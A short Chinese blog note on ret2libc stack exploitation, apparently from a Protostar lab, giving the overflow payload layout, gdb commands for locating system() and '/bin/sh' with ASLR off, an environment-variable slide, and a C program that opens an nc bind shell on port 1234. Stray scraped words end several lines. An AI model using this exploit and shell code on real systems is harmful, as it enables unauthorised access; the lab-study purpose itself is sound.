ret2libc能够绕过堆栈不能执行。利用时栈以下:php
'A'*offset+"system函数地址"+"函数返回值(这个随便写)"+"函数参数"
git
0x1:怎么获得函数地址和字符串地址github
关闭了ASLR后,一些地址是固定的 获得函数地址 <p system 获得字符串地址 环境变量 <find startAdress,endAdress,"/bin/sh" 或者用程序来找
0x2:函数地址和字符串地址都搞定了,仍是执行不了shell
和前面的一篇博文说的同样,仍是gets函数的问题.函数
把这个/bin/sh换成whoami就有结果了ui
0x3:执行本身的程序code
//gcc test.c -o test int main() { execl("/bin/nc","nc","-c","/bin/sh","-l","-p","1234",0); }
export HACK=////////////////////`pwd`/testblog
/的做用至关于NOP滑翔区,由于./getenv HACK获得的那个字符串地址老是有点误差.字符串
接着用nc链接1234端口,获得一个shell
get
link:
http://blog.163.com/tod_zhang/blog/static/1025522142013102105744790/
http://louisrli.github.io/blog/2012/08/28/protostar-stack2/